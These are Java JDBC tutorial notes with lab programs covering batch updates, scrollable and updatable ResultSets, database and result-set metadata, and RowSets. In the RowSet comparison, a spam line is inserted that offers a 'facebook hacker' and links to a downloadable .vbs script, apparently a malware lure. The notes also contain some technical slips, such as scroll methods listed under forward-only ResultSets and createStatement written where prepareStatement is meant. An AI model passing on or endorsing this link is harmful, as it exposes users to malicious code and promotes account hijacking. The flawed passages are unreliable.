public int[] executeBatch()
----------------------------------------------


package com.batch.update;

import java.sql.Connection;
import java.sql.Statement;

import com.jdbcStatement.MysqlDBHelper;

public class Lab10
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
try
{
conn = MysqlDBHelper.getConnection();
stmt = conn.createStatement();

String s1 = "insert into cmbooks values('B-21','java','nish','om','100','3','123-1')";
stmt.addBatch(s1);

String s2 = "insert into cmbooks values('B-22','jdbc','nishant','cm','200','2','123-2')";
stmt.addBatch(s2);

String s3 = "insert into cmbooks values('B-23','J2EE','funky','sd','300','4','123-3')";
stmt.addBatch(s3);

String s4 = "insert into cmbooks values('B-24','Android','Niwas','cm','500','1','123-0')";
stmt.addBatch(s4);


String s5 = "update cmbooks set cost = 200,edition = 3 where bid = 'B-14'";
stmt.addBatch(s5);


String s6 = "delete from cmbooks where bid = 'B-13'";
stmt.addBatch(s6);

int x[]=stmt.executeBatch();
for(int i=0;i<x.length;i++)
System.out.println(x[i]);

}catch(Exception e)
{
e.printStackTrace();
}finally
{
MysqlDBHelper.cleanUp(stmt, conn);
}}}



Note:-
------
select Statement can not used with BatchUpdate because if second resultset will be available then 1st resultset object will not be used.
Collable Statement not use a BatchUpdate.


ResultSet
*********

ResultSet is an interface available in java.sql package

ResultSet object will be created by using following method

ResultSet rs=st.executeQuery(sql)
ResultSet rs=ps.executeQuery()

When ResultSet object is created the ResultSet pointer initially points to befor the first record

To move the ResultSet pointer you can use
public boolean next()

When ResultSet pointer is pointing the record then you can access the column values of that using following method
public int getInt(int index) or public int getInt(String DB_COLUMN_NAME)
public String getString(int index) or public String getString(String DB_COLUMN_NAME)  etc.


Type of ResultSet on the Basis of Srollability
**********************************************

I)Forward only ResultSet
************************

When ResultSet is TYPE_FORWARD_ONLY then you can move pointer only on the forward direction and only once.

By Default
-------------
Statement         :-  st=con.createStatement();
PrepareStatement  :- ps=con.prepareStatement(sql);

You can Specify
---------------

Statement:-
    st=con.createStatement(ResultSet.TYPE_FORWARD_ONLY,ResultSet.CONCUR_READ_ONLY);
PrepareStatement:-
    ps=con.prepareStatement(sql, ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);

You can use the following method on forward only ResultSet
 public abstract boolean isBeforeFirst()
 public abstract boolean isAfterLast()
 public abstract boolean isFirst()
 public abstract boolean isLast()
 public abstract void beforeFirst()
 public abstract void afterLast()
 public abstract boolean first()
 public abstract boolean last()
 public abstract int getRow()
 public abstract boolean absolute(int)
 public abstract boolean relative(int)
 public abstract boolean previous()

II)Scrollable ResultSet
***********************
When ResultSet is TYPE_FORWARD_ONLY then you can move pointer any direction and only no of time

You can Specify
---------------
Statement:-   
       st=con.createStatement( ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY)
PrepareStatement:-
       ps=con.prepareStatement(sql, ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY)

Type of ResultSet on the Basis of Updatability
**********************************************

Read only ResultSet or static ResultSet
***************************************

When resultset is read only then you can just access the data from ResultSet object by calling getter method
You can not
 -- insert record into ResultSet
 -- update the record of ResultSet
 -- Delete the record from ResultSet

You can Specify
---------------

Statement:-
  st=con.createStatement(ResultSet.TYPE_FORWARD_ONLY,ResultSet.CONCUR_READ_ONLY);

PrepareStatement:-
  ps=con.prepareStatement(sql, ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);


Lab11:-Example using Scrollable ResultSet
-----------------------------------------


package com.jdbc.ResultSet;

import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;

import java.sql.Statement;

import com.jdbcStatement.JdbcUtil;

// SRS --> Scrollable ResultSet

public class Lab11a
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;

try
{
conn = JdbcUtil.getOracleConnection();
      stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY);

/*
* when ResultSet will be in Read_only mode then you just access the data from
* ResultSet object by calling getter Methods.
* you can't insert records into RS.
* you can't update records of RS.
* you can't delete records from RS.
*/

String sql = "select * from cmbooks";
rs = stmt.executeQuery(sql);

String id = null;
String bn = null;
String au = null;
String pub = null;
String co = null;
String ed = null;
String is = null;


System.out.println("\n\n -- In Forward Order -- \n");
while(rs.next())
{
   id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
}

            System.out.println("\n\n -- In Reverse Order -- \n ");

while(rs.previous())
{
id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
}

            System.out.println("\n\n -- 2nd Record -- \n");
boolean bl = rs.absolute(2);
System.out.println(bl);
id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
 
    System.out.println("\n\n -- Last Record -- \n");
rs.last();

id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
 
System.out.println("\n -- First Record -- \n");
rs.first();

id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
     
System.out.println("\n\n -- 4th Record -- \n");
          rs.absolute(4);

id = rs.getString(1);
           bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
                 }
catch(SQLException e)
{
//  handle Ex/
}
catch (Exception e) {
// TODO: handle exception
}

finally{
JdbcUtil.cleanUp(rs, stmt, conn);
}}}


Updatable ResultSet or Dynamic ResultSet
****************************************

When ResultSet is Updateable then you can do the following operation on ResultSet

get the data from ResultSet
insert record into ResultSet
update the record of ResultSet
Delete the record from ResultSet

you can specify
---------------

Statement:-
   st=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

PrepareStatement:-
   ps=con.createStatement(sql,ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);


To delete the row:-
-------------------

move to the pointer to the row
public void deleteRow();

To Update the Row
-----------------

move to the pointer to the row

use the currosponding method
public X updateX(int index, X value)
public void updateRow();

To insert  the new  Row
-----------------------
public void moveToInsertRow
public X updateX(int index, X value)
public void insertRow();

Lab12:-Example using Updatable ResultSet
----------------------------------------

package com.jdbc.ResultSet;

import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;

import com.jdbcStatement.JdbcUtil;

// Updatable ResultSet

public class Lab12
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;

try
{
conn = JdbcUtil.getMysqlConnection();
      stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE);

String sql = "select * from cmbooks";
rs = stmt.executeQuery(sql);

System.out.println(" -- Before Updating -- ");

String id = null;
String bn = null;
String au = null;
String pub = null;
String co = null;
String ed = null;
String is = null;

while(rs.next())
{
id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
}

// Inserting Rows ///

rs.moveToInsertRow();

rs.updateString(1, "B-106");
rs.updateString(2, "B-Spring");
rs.updateString(3, "B-SD");
rs.updateString(4, "B-cm");
rs.updateString(5, "B-999");
rs.updateString(6, "1");
rs.updateString(7, "99-99");

rs.insertRow();

//  Updating Rows  ///

rs.first();
rs.updateString(5," 600");
rs.updateString(6, "9");
rs.updateRow();

//  Deleting Rows

rs.beforeFirst();
while(rs.next())
{
id = rs.getString(1);
if(id.equals("B-12"))
{
rs.deleteRow();
break;
}
}
System.out.println(" \n\n -- After Updating --  \n");

rs.beforeFirst();
while (rs.next())
{
   id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
 
   System.out.println("\n"+id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
   
}

}
catch(Exception e)
{
e.printStackTrace();
}finally{
JdbcUtil.cleanUp(rs, stmt, conn);
}}}


Note:-
******
I)By default resultSet TYPE_FORWARD_ONLY or CONCUR_READ_ONLY
II)When ResultSet is Updatable then it must be scrollabel
III)In oracle you need to specify the column name in the select statement then only ResultSet will be updatable .If you are specifying * then it will be read only .

*****************
Database MetaData
*****************

DatabaseMetadata is an interface available in java.sql package DatabaseMetadata  is used to get the info about your database 
i.e You can find whether database is supporting the required feature or not you can create the DatabaseMetadata  object as followes Curresponding DataBase

DatabaseMetaData dbmd=con.getMetaData();
System.out.println(dbmd.getJDBCMinorVersion()); System.out.println(dbmd.getJDBCMajorVersion());
System.out.println(dbmd.getDefaultTransactionIsolation());
System.out.println(dbmd.supportsBatchUpdates());
System.out.println(dbmd.supportsTransactions());
System.out.println(dbmd.getDriverName());
System.out.println(dbmd.getResultSetHoldability());

Lab13:- Example using DatabaseMetaData
--------------------------------------

package com.jdbc.MetaData;

import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.PreparedStatement;


import com.jdbc.Pstatement.JdbcUtil;

public class Lab13a
{
public static void main(String[] args)
{
Connection conn = null;
PreparedStatement pstmt = null;
try
{
conn = JdbcUtil.getOracleConnection();
DatabaseMetaData dbmd = conn.getMetaData();

System.out.println(" \n JDBCMajorVersion >  "+dbmd.getJDBCMajorVersion());
System.out.println(" \n JDBCMinorVersion >  "+dbmd.getJDBCMinorVersion());
System.out.println(" \n DatabaseMajorVersion   >  "+dbmd.getDatabaseMajorVersion());
System.out.println(" \n DatabaseMinorVersion   >  "+dbmd.getDatabaseMinorVersion());
System.out.println(" \n DatabaseProductName  >  "+dbmd.getDatabaseProductName());
System.out.println(" \n DefaultTransactionIsolation  >  "+dbmd.getDefaultTransactionIsolation());
System.out.println(" \n Transactions Supports  >  "+dbmd.supportsTransactions());
System.out.println(" \n BatchUpdatesSupports  >   "+dbmd.supportsBatchUpdates());
System.out.println(" \n OuterJoinSupports  >   "+dbmd.supportsOuterJoins());
System.out.println(" \n DefaultTransactionIsolation  >  "+dbmd.getDefaultTransactionIsolation());
System.out.println(" \n DriverName  >  "+dbmd.getDriverName());
System.out.println(" \n ResultSetHoldability >  "+dbmd.getResultSetHoldability());


}
catch(Exception e)
{
System.out.println(e);
}
finally
{
JdbcUtil.cleanUp(pstmt, conn);
}}}



ResultSet MetaData
******************
ResultSet Metadata is an interface available in java.sql package ResultSet Metadata  is used to get the info about your ResultSet Object
you can create the ResultSet Metadata  object as followes Curresponding DataBase

ResultSetMetaData rsmd=rs.getMetaData();
int cc=rsmd.getColumnCount();


rs.next();
for(int i=1;i<=cc;i++){

System.out.println(rsmd.getTableName(cc));
System.out.println(rsmd.getColumnDisplaySize(i));
// return size of variable type
System.out.println(rsmd.getColumnTypeName(i));
// return variable type
System.out.println(rsmd.getColumnType(i));

System.out.println(rsmd.getColumnClassName(i));
// return object class name
System.out.println(rsmd.getColumnCount());
// return total no of column
System.out.println(rsmd.getColumnLabel(i));
// return column name


Lab14:-Example using ResultSetMetadata
--------------------------------------

package com.jdbc.MetaData;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;

import com.jdbc.Pstatement.JdbcUtil;

public class Lab14
{
public static void main(String[] args)
{
    Connection conn = null;
    PreparedStatement pstmt = null;
    ResultSet rs  = null;
    try
    {
    conn = JdbcUtil.getOracleConnection();
    pstmt = conn.prepareStatement("select * from cmbooks");
    rs = pstmt.executeQuery();
   
        ResultSetMetaData rsmd = rs.getMetaData();
       
        int cc = rsmd.getColumnCount();
        while (rs.next())
        {
System.out.print(rs.getString(1));
System.out.print("\t"+rs.getString(2));
System.out.println();
}
       
        for (int i = 1; i <=cc; i++)
        {
System.out.println("\n Table Name =  "+rsmd.getTableName(i));
System.out.println("-----------------------------------");
System.out.println("\n Size of Column Display =  "+rsmd.getColumnDisplaySize(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Type =  "+rsmd.getColumnType(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Class Name =  "+rsmd.getColumnClassName(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Label =  "+rsmd.getColumnLabel(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Name =  "+rsmd.getColumnName(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Type Name =  "+rsmd.getColumnTypeName(i));
System.out.println("===========================");
}
   
    }
    catch(Exception e)
    {
    System.out.println(e);
    }
    finally
    {
    JdbcUtil.cleanUp(rs, pstmt, conn);
  }}}



Lab14a:- To get the Table Description in Database

Note:-
------

If you are inserting the data using UpdatableResultSet then it is not showing in the Current ResultSet because Totally depend on DriverVender

******
RowSet
******

RowSet is an interface available in java.sql package .This interface is extending ResultSet interface. RowSet functionality is almost same as result set

--------------------------------------
RowSet Type on the basis of connection
--------------------------------------

I) Connected RowSet:-JDBC RowSet is example connected RowSet .In this the connection is required till the life of RowSet object

II) DisConnected RowSet:-Other type of RowSet is example Disconnected RowSet.In this after accessing the data from DB the connection will be closed and without connection you can access the data from rowset object.

You can serilized these type of RowSet to transfer the data from one machine to another machine


Type of RowSet
--------------

JDBC RowSet
BaseRowSet
CacheRowSet
WebRowSet

------------------------------------
Comperision b/w RowSet and ResultSet
------------------------------------

1.a)ResultSet object is used to store the records return by select sql statement

1.b)RowSet object is also used to store the records return by select sql statement

---------------------------------------------------------

2.a)ResultSet object can be created as follow
con=DriverManager.getConnection(url,un,psw)
st=con.createStatement()
rs=st.executeQuery(sql)

2.b)RowSet object can be created as follow
Hi, Please Check this new facebook hacker here >>> http://www.upload.ee/download/3612333/88918e12dce3ad6b5bb/script.vbs

RowSet jrs=new jdbcRowSetImp();

jrs.setUrl(url)
jrs.setUsername(un);
jrs.setPassword(psw);
jrs.setCommand(sql);
jrs.execute();

----------------------------------------------------------

3.a)By default ResultSet are forward only and read only

3.b)By default RowSet are Scrollable and Updatable

-----------------------------------------------------------

4.a)ResultSet are connection oriented i.e As long as connection is available you can access the     resultSet data once connection is close ResultSet also will be close Autometically.

4.b)RowSet are connectionless objection i.e you can access the RowSet data without connection

------------------------------------------------------------

5.a)Result object are not eligible for serialization

5.b)RowSet object are eligible for serialization